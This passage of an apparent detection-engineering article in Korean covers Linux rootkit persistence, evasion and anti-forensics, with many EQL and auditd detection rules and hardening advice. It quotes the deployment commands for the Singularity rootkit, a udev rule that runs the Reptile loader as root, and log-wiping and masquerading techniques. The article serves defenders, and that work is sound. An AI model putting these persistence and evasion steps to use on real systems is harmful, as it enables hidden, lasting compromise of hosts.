ACTION=="add": 새 디바이스가 시스템에 추가되면 트리거됩니다.ENV{MAJOR}=="1":/dev/mem,/dev/null,/dev/zero,/dev/random과 같이 일반적으로 메모리 관련 장치와 같이 메이저 번호가 "1"인 장치와 일치합니다.ENV{MINOR}=="8": 조건을/dev/random로 더 좁힙니다.RUN+="/lib/udev/reptile": 위의 디바이스가 감지되면 Reptile 로더 바이너리를 실행합니다.
이 규칙은 /dev/random 디바이스가 로드될 때마다 로더 바이너리 실행을 트리거하여 지속성을 설정합니다. 이 방법은 수많은 시스템 애플리케이션과 부팅 프로세스에 필수적으로 널리 사용되는 난수 생성기로서 효과적입니다. 활성화는 특정 디바이스 이벤트 발생 시에만 발생하며, 실행은 udev daemon 을 통해 루트 권한으로 이루어집니다. 이 기법을 탐지하기 위해 아래와 유사한 탐지 규칙을 만들 수 있습니다:
file where event.action in ("rename", "creation") and file.extension == "rules" and file.path like (
"/lib/udev/*",
"/etc/udev/rules.d/*",
"/usr/lib/udev/rules.d/*",
"/run/udev/rules.d/*",
"/usr/local/lib/udev/rules.d/*"
)
이러한 파일의 생성 및 수정은 다음과 같은 사전 구축된 규칙에 따라 처리됩니다:
일반적인 지속성 메커니즘
공격자는 커널 모듈 로딩 경로 외에도 로더를 통해 사용자 영역 또는 커널 공간 루트킷을 다시 로드하기 위해 보다 일반적인 Linux 지속성 메서드를 사용할 수 있습니다:
Systemd: 부팅 시 로더를 지원하는 디렉터리(예: /etc/systemd/system/)에 서비스/타이머를 만들거나 추가합니다.
file where event.action in ("rename", "creation") and file.path like (
"/etc/systemd/system/*", "/etc/systemd/user/*",
"/usr/local/lib/systemd/system/*", "/lib/systemd/system/*",
"/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
"/home/*.config/systemd/user/*", "/home/*.local/share/systemd/user/*",
"/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
) and file.extension in ("service", "timer")
초기화 스크립트: 악성 실행 제어 /etc/rc.local(), SysVinit /etc/init.d/() 또는 Upstart ()/etc/init/ 스크립트를 만들거나 스크립 트에 추가합니다.
file where event.action in ("creation", "rename") and
file.path like (
"/etc/init.d/*", "/etc/init/*", "/etc/rc.local", "/etc/rc.common"
)
크론 작업: 로더를 반복 실행할 수 있는 크론 작업을 만들거나 크론 작업에 추가합니다.
file where event.action in ("rename", "creation") and
file.path like (
"/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
"/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*",
"/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*",
"/var/spool/anacron/*"
)
Sudoers: 악성 sudoers 구성을 백도어로 만들거나 추가합니다.
file where event.type in ("creation", "change") and
file.path like "/etc/sudoers*"
이러한 방법은 널리 사용되고 유연하며 프로세스 계보 또는 파일 수정 원격 측정을 사용하여 쉽게 감지할 수 있습니다.
이러한 지속성 기법을 탐지하기 위해 미리 구축된 탐지 규칙 목록은 다음과 같습니다:
- Systemd Service Created
- Systemd Timer Created
- System V Init Script Created
- rc.local/rc.common File Creation
- Cron Job Created or Modified
- Sudoers 파일 활동
- 파일 수정을 통한 잠재적 지속성
루트킷 방어 회피 기법
루트킷은 정의상 방어 회피를 위한 도구이지만, 많은 루트킷이 배포 중 및 배포 후에 탐지되지 않기 위해 추가 기술을 구현합니다. 이러한 방법은 로그의 가시성을 피하고, 엔드포인트 탐지 에이전트를 회피하며, 일반적인 조사 워크플로우를 방해하도록 설계되었습니다. 다음 섹션에서는 최신 Linux 루트킷이 사용하는 주요 우회 기법을 운영 대상별로 분류하여 간략하게 설명합니다.
배포 시 은신 상태 유지 시도
위협 행위자는 일반적으로 포렌식 관점에서 은밀한 실행 전술에 중점을 둡니다. 예를 들어, 위협 행위자는 완전한 가상 파일 시스템이므로 페이로드가 디스크에 닿지 않는 /dev/shm 공유 메모리 디렉터리에 페이로드를 저장하고 실행할 수 있습니다. 포렌식 관점에서 보면 좋은 일이지만, 행동 탐지 엔지니어로서 저희는 이러한 행동이 매우 의심스럽고 흔하지 않다고 생각합니다.
예를 들어, 실제 위협 행위자는 아니지만 싱귤래리티의 저자는 다음과 같은 배포 방법을 제안합니다:
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
sudo bash scripts/x.sh
이 동작을 오탐률 제로에 가깝게 감지하기 위해 설치해야 하는 몇 가지 트립 와이어가 있는데, 먼저 /dev/shm 디렉터리에 GitHub 리포지토리를 복제하는 것부터 시작합니다.
sequence by process.entity_id, host.id with maxspan=10s
[process where event.type == "start" and event.action == "exec" and (
(process.name == "git" and process.args == "clone") or
(
process.name in ("wget", "curl") and
process.command_line like~ "*github*"
)
)]
[file where event.type == "creation" and
file.path like ("/tmp/*", "/var/tmp/*", "/dev/shm/*")]
/tmp 및 /var/tmp 디렉토리를 복제하는 것은 일반적이므로 리포지토리 복제가 일반적인 환경에서는 이 규칙에서 이 디렉토리를 제거할 수 있습니다. 그러나 /dev/shm 에서 동일한 활동을 하는 경우는 매우 드뭅니다.
로더가 호출하는 setup.sh 스크립트는 /dev/shm/ 하위 디렉터리에서 LKM을 컴파일하여 계속 진행합니다. 실제 위협 행위자는 일반적으로 호스트 자체에서 컴파일하지 않지만, 어느 쪽이든 이런 일이 발생하는 것은 그리 드문 일이 아닙니다.
sequence with maxspan=10s
[process where event.type == "start" and event.action == "exec" and
process.name like (
"*gcc*", "*g++*", "c++", "cc", "c99", "c89", "cc1*", "clang*",
"musl-clang", "tcc", "zig", "ccache", "distcc"
)] as event0
[file where event.action == "creation" and file.path like "/dev/shm/*" and
process.name like (
"ld", "ld.*", "lld", "ld.lld", "mold", "collect2", "*-linux-gnu-ld*",
"*-pc-linux-gnu-ld*"
) and
stringcontains~(event0.process.command_line, file.name)]
이 엔드포인트 로직은 컴파일러의 실행을 감지한 다음 링커가 /dev/shm (또는 하위 디렉터리)에 파일을 생성하는 것을 감지합니다.
마지막으로 /dev/shm 에서 전체 리포지토리를 복제하고 setup.sh 과 x.sh 를 실행했기 때문에 대부분의 환경에서 흔히 볼 수 없는 공유 메모리 디렉토리에서 프로세스 실행을 관찰할 수 있습니다:
process where event.type == "start" and event.action == "exec" and
process.executable like ("/dev/shm/*", "/run/shm/*")
이러한 규칙은 탐지 규칙 및 보호 아티팩트 리포지토리에서 사용할 수 있습니다:
- 의심스러운 디렉터리로 Git 리포지토리 또는 파일 다운로드
- 의심스러운 디렉터리에서 Linux 컴파일
- Binary Executed from Shared Memory Directory
합법적인 프로세스로 위장
프로세스 열거 또는 시스템 모니터링 중 감시를 피하기 위해 루트킷은 종종 정상 시스템 구성 요소와 일치하도록 프로세스 및 스레드 이름을 변경합니다. 일반적인 변장은 다음과 같습니다:
kworker,migration, 또는rcu_sched(커널 스레드)sshd,systemd,dbus-daemon, 또는bash(유저랜드 데몬)
이러한 이름은 ps, top, htop 과 같은 도구의 출력과 조화를 이루도록 선택되어 수동 감지를 더욱 어렵게 만듭니다. 이 기법을 활용하는 루트킷의 예로는 Reptile과 PUMAKIT이 있습니다. Reptile은 초기화 시 kworker 을 통해 비정상적인 네트워크 이벤트를 생성합니다:
network where event.type == "start" and event.action == "connection_attempted"
and process.name like~ ("kworker*", "kthreadd") and not (
destination.ip == null or
destination.ip == "0.0.0.0" or
cidrmatch(
destination.ip,
"10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12",
"192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32",
"192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
"192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24",
"224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15",
"198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1",
"FE80::/10", "FF00::/8"
)
)
아래 예시는 커널 스레드가 포크되고 세션 ID가 0으로 변경되며 네트워크 연결이 설정되는 Reptile의 포트 노킹 기능을 보여줍니다:
Reptile도 동일한 kworker 프로세스를 활용하여 파일을 생성하는 것으로 보입니다:
file where event.type == "creation" and
process.name like~ ("kworker*", "kthreadd")
PUMAKIT은 kthreadd 을 통해 커널 스레드를 생성하여 유저랜드 명령을 실행하지만, 다른 루트킷의 kworker 프로세스를 통해 유사한 활동이 관찰되었습니다:
process where event.type == "start" and event.action == "exec" and
process.parent.name like~ ("kworker*", "kthreadd") and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.args == "-c"
이러한 kworker 및 kthreadd 규칙은 Linux 커널의 내부 작업으로 인해 오탐을 생성할 수 있습니다. 환경별로 쉽게 제외하거나 로직에 명령줄 인수를 추가할 수 있습니다.
이러한 규칙은 탐지 규칙 및 보호 아티팩트 리포지토리에서 확인할 수 있습니다:
또한 초기 드롭퍼 또는 지속성 메커니즘과 같은 악성 프로세스는 커널 스레드로 가장하여 내장된 셸 기능을 활용할 수 있습니다. exec -a 명령을 활용하면 공격자가 선택한 이름으로 모든 프로세스를 생성할 수 있습니다. 커널 프로세스 마스킹은 다음 탐지 쿼리를 통해 탐지할 수 있습니다:
process where event.type == "start" and event.action == "exec" and
process.command_line like "[*]" and process.args_count == 1
이 동작은 아래와 같이 여러 멀웨어가 커널 워커 또는 웹 서비스 프로세스로 가장하려고 시도한 경우입니다.
이 기법은 특히 gsocket을 배포할 때 해커의 선택(THC) 툴킷을 활용하는 위협 공격자들에 의해 악용되기도 합니다.
커널 마스킹 및 일반적으로 exec -a 을 통한 마스킹과 관련된 규칙은 보호 아티팩트 리포지토리에서 확인할 수 있습니다:
야생에서, 그리고 말약에서도 볼 수 있는 또 다른 기법은 prctl 을 사용하여 프로세스 이름을 밟는 것입니다. 이 원격 측정을 사용할 수 있도록 사용자 지정 Auditd 규칙을 만들 수 있습니다:
-a exit,always -F arch=b64 -S prctl -k prctl_detection
그리고 다음과 같은 탐지 로직이 함께 제공됩니다:
process where host.os.type == "linux" and auditd.data.syscall == "prctl" and
auditd.data.a0 == "f"
이 기술을 감지할 수 있습니다. 아래 스크린샷에서 이 기법이 사용되는 원격 측정의 예를 볼 수 있는데, process.executable 은 횡설수설하고 prctl 은 시스템에서 합법적인 프로세스로 가장하는 데 사용됩니다.
설정 지침을 포함한 이 규칙은 여기에서 확인할 수 있습니다:
가장하는 방법은 여러 가지가 있지만, 가장 일반적으로 관찰되는 방법은 다음과 같습니다.
로그 및 감사 정리
많은 루트킷에는 로그에서 설치 또는 활동의 흔적을 지우는 루틴이 포함되어 있습니다. 이러한 기술 중 하나는 피해자의 셸 기록을 지우는 것입니다. 이는 두 가지 방법으로 감지할 수 있습니다. 한 가지 방법은 셸 기록 파일의 삭제를 감지하는 것입니다:
file where event.type == "deletion" and file.name in (
".bash_history", ".zsh_history", ".sh_history", ".ksh_history",
".history", ".csh_history", ".tcsh_history", "fish_history"
)
두 번째 방법은 셸 기록 지우기와 관련된 명령줄 인수를 사용하여 프로세스 실행을 감지하는 것입니다:
process where event.type == "start" and event.action == "exec" and (
(
process.args in ("rm", "echo") or
(
process.args == "ln" and process.args == "-sf" and
process.args == "/dev/null"
) or
(process.args == "truncate" and process.args == "-s0")
)
and process.command_line like~ (
"*.bash_history*", "*.zsh_history*", "*.sh_history*", "*.ksh_history*",
"*.history*", "*.csh_history*", "*.tcsh_history*", "*fish_history*"
)
) or
(process.name == "history" and process.args == "-c") or
(
process.args == "export" and
process.args like~ ("HISTFILE=/dev/null", "HISTFILESIZE=0")
) or
(process.args == "unset" and process.args like~ "HISTFILE") or
(process.args == "set" and process.args == "history" and process.args == "+o")
탐지 규칙(프로세스 및 파일)을 모두 활성화하면 보다 강력한 심층 방어 전략이 가능해집니다.
로드 시 루트킷은 커널을 오염시키거나 syslog 및 커널 로그를 구문 분석할 때 식별할 수 있는 트리를 벗어난 메시지를 생성할 수 있습니다. 루트킷은 자신의 흔적을 지우기 위해 이러한 로그 파일을 삭제할 수 있습니다:
file where event.type == "deletion" and file.path in (
"/var/log/syslog", "/var/log/messages", "/var/log/secure",
"/var/log/auth.log", "/var/log/boot.log", "/var/log/kern.log",
"/var/log/dmesg"
)
또는 dmesg 을 통해 커널 메시지 버퍼를 지우십시오:
process where event.type == "start" and event.action == "exec" and
process.name == "dmesg" and process.args in ("-c", "--clear")
dmesg를 자동으로 정리하는 루트킷의 예로는 /opt/bds_elf/bds_start.sh 을 실행하여 로드하는 bds 루트킷이 있습니다:
이러한 로그를 지우는 또 다른 방법은 journalctl을 사용하는 것입니다:
process where event.type == "start" and event.action == "exec" and
process.name == "journalctl" and
process.args like ("--vacuum-time=*", "--vacuum-size=*", "--vacuum-files=*")
이 기술은 싱귤래리티에서 사용했던 기법입니다:
싱귤래리티의 로더 스크립트가 사용하는 또 다른 기술은 루트킷이 로드되지 않거나 로드 프로세스가 완료된 후 루트킷과 관련된 모든 파일을 삭제하는 것입니다. 보다 철저한 삭제를 위해 작성자는 rm 대신 shred 을 사용하기로 했습니다. rm (제거)는 파일의 포인터를 삭제하기만 하면 되므로 속도가 빠르지만 데이터 복구가 가능합니다. shred 파일 데이터를 임의의 데이터로 여러 번 덮어쓰면 복구할 수 없게 됩니다. 이렇게 하면 삭제가 더 영구적으로 이루어지지만, 동시에 대부분의 Linux 시스템에서 shred 이 일반적으로 사용되지 않기 때문에 행동 탐지 관점에서 볼 때 노이즈가 더 커집니다.
process where event.type == "start" and event.action == "exec" and
process.name == "shred" and (
// Any short-flag cluster containing at least one of u/z,
// and containing no extra "-" after the first one
process.args regex~ "-[^-]*[uz][^-]*" or
process.args in ("--remove", "--zero")
) and
not process.parent.name == "logrotate"
위의 정규식을 사용하면 플래그를 조합하거나 수정하여 탐지를 회피하려는 시도가 더욱 어려워집니다. 아래는 싱귤래리티가 배포와 관련된 모든 파일을 찾아 파쇄하는 예시입니다:
이러한 파일 및 로그 제거 기술은 몇 가지 기본 제공 탐지 규칙을 통해 탐지할 수 있습니다:
- System Log File Deletion
- Attempt to Clear Kernel Ring Buffer
- Journalctl을 통한 로그 지우기 시도
- Shred를 통한 파일 삭제
루트킷이 흔적 지우기를 완료하면 파일 수정 흔적이 남지 않도록 변경한 파일의 타임스탬프가 남지 않도록 할 수 있습니다:
process where event.type == "start" and event.action == "exec" and
process.name == "touch" and
process.args like (
"-t*", "-d*", "-a*", "-m*", "-r*", "--date=*", "--reference=*", "--time=*"
)
위협 행위자가 /dev/shm 드라이브에 있는 파일에 대한 참조 시간으로 /etc/ld.so.conf 파일의 타임스탬프를 사용하는 예가 여기에 나와 있습니다:
이 기술은 탐지 규칙과 보호 아티팩트를 통해 적용 범위를 추가한 기술입니다:
이 연구에서 논의하지 않은 더 많은 기술이 있지만, 이 연구가 Linux 루트킷 환경과 탐지 엔지니어링에 대한 이해를 심화시키는 데 도움이 될 것으로 확신합니다.
루트킷 방지 기술
Linux 루트킷을 방지하려면 커널 및 사용자 영역 강화, 엄격한 액세스 제어, 지속적인 모니터링을 결합한 계층화된 방어 전략이 필요합니다. SELinux 및 AppArmor와 같은 필수 액세스 제어 프레임워크는 프로세스 동작 및 사용자 영역 지속성 기회를 제한합니다. 한편, 잠금 모드, KASLR, SMEP/SMAP, LKRG와 같은 도구를 포함한 커널 강화 기술은 커널 수준의 손상 위험을 완화합니다. 동적 로딩을 비활성화하거나 모듈 서명을 적용하여 커널 모듈 사용을 제한하면 루트킷 배포의 일반적인 벡터를 더욱 줄일 수 있습니다.
시스템 호출 및 파일 활동에 대한 Auditd 및 파일 무결성 모니터링과 의심스러운 런타임 동작을 식별하고 방지하는 EDR 솔루션을 통해 악의적인 행동에 대한 가시성이 향상됩니다. seccomp-bpf, Linux 기능 및 랜드록 LSM을 통해 프로세스 권한을 최소화하여 시스템 호출 액세스 및 파일 시스템 상호 작용을 제한함으로써 보안을 더욱 강화합니다.
필요한 경우 실시간 패치를 통해 적시에 커널 및 소프트웨어 업데이트를 지원하여 알려진 취약점이 악용되기 전에 이를 차단합니다. 또한 제한 플래그를 사용하여 민감한 파일시스템을 다시 마운트하고 /dev/mem 및 /proc/kallsyms 과 같은 커널 메모리 인터페이스에 대한 액세스를 비활성화하여 파일시스템 및 장치 구성을 강화해야 합니다.
단일 제어로는 루트킷을 완전히 막을 수 없습니다. 구성 강화, 정적 및 동적 탐지, 포렌식 준비성을 결합한 계층화된 방어는 여전히 필수적입니다.
결론
이 시리즈의 1부에서는 Linux 루트킷이 내부적으로 어떻게 작동하는지 살펴보고, 그 진화 과정, 분류 체계, 사용자 공간과 커널 공간을 조작하는 기법을 살펴보았습니다. 이 두 번째 파트에서는 이러한 지식을 실질적인 탐지 전략으로 전환하여 루트킷 활동을 노출하는 행동 신호와 런타임 원격 분석에 중점을 두었습니다.
Windows 멀웨어가 상용 보안 공급업체와 위협 연구 커뮤니티의 주를 이루고 있는 반면, Linux는 전 세계 클라우드 인프라, 고성능 컴퓨팅 환경 및 인터넷 서비스의 대부분을 구동하고 있음에도 불구하고 상대적으로 연구가 덜 이루어지고 있습니다.
분석 결과 Linux 루트킷이 진화하고 있음을 알 수 있습니다. eBPF, io_uring, 컨테이너화된 Linux 워크로드와 같은 기술의 채택이 증가하면서 아직 잘 이해되지 않거나 광범위하게 보호되지 않는 새로운 공격 표면이 등장하고 있습니다.
보안 커뮤니티에 다음과 같이 권장합니다:
- 정적 및 동적 각도에서 Linux에 초점을 맞춘 탐지 엔지니어링에 투자하세요.
- 연구 결과, 개념 증명, 탐지 전략을 공개적으로 공유하여 방어자 간의 집단 지식을 가속화하세요.
- 공급업체, 학계 및 업계 전반에서 협력하여 Linux 루트킷 방어를 Windows에서 달성한 것과 동일한 성숙도 수준으로 끌어올리세요.
방어자는 가시성, 탐지 및 대응 역량을 종합적으로 개선해야만 은밀하고 빠르게 진화하는 위협 환경에서 앞서 나갈 수 있습니다.
